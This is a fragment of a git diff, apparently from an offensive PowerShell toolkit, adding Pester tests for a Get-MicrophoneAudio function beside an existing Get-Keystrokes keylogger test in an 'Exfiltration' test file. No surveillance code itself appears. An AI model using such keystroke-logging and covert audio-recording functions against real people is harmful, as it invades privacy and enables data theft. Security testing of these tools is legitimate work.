+ DomainGuid = field 7 Guid
+}
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1
index e4f60d5..ed98f45 100644
--- a/Tests/Exfiltration.tests.ps1
+++ b/Tests/Exfiltration.tests.ps1
@@ -52,3 +52,34 @@ Describe 'Get-Keystrokes' {
Remove-Item -Force "$($env:TEMP)\key.log"
}
+
+Describe "Get-MicrophoneAudio" {
+
+ $RecordPath = "$env:TEMP\test_record.wav"
+ $RecordLen = 2
+ Context 'Successful Recording' {
+ BeforeEach {
+ #Ensure the recording as been removed prior to testing
+ Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue
+ }
+
+ AfterEach {
+ #Remove the recording after testing
+ Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue
+ }
+
+ It 'should record audio from the microphone and save it to a specified path' {
+ $result = Get-MicrophoneAudio -Path $RecordPath -Length $RecordLen
+ $result | Should Not BeNullOrEmpty
+ $result.Length | Should BeGreaterThan 0
+ }
+
+ }
+
+ Context 'Invalid Arguments' {
+ It 'should not allow invalid paths to be used' {
+ { Get-MicrophoneAudio -Path "c:\FAKEPATH\yay.wav" -Length RecordLen} | Should Throw
+ }
+ }
+
+}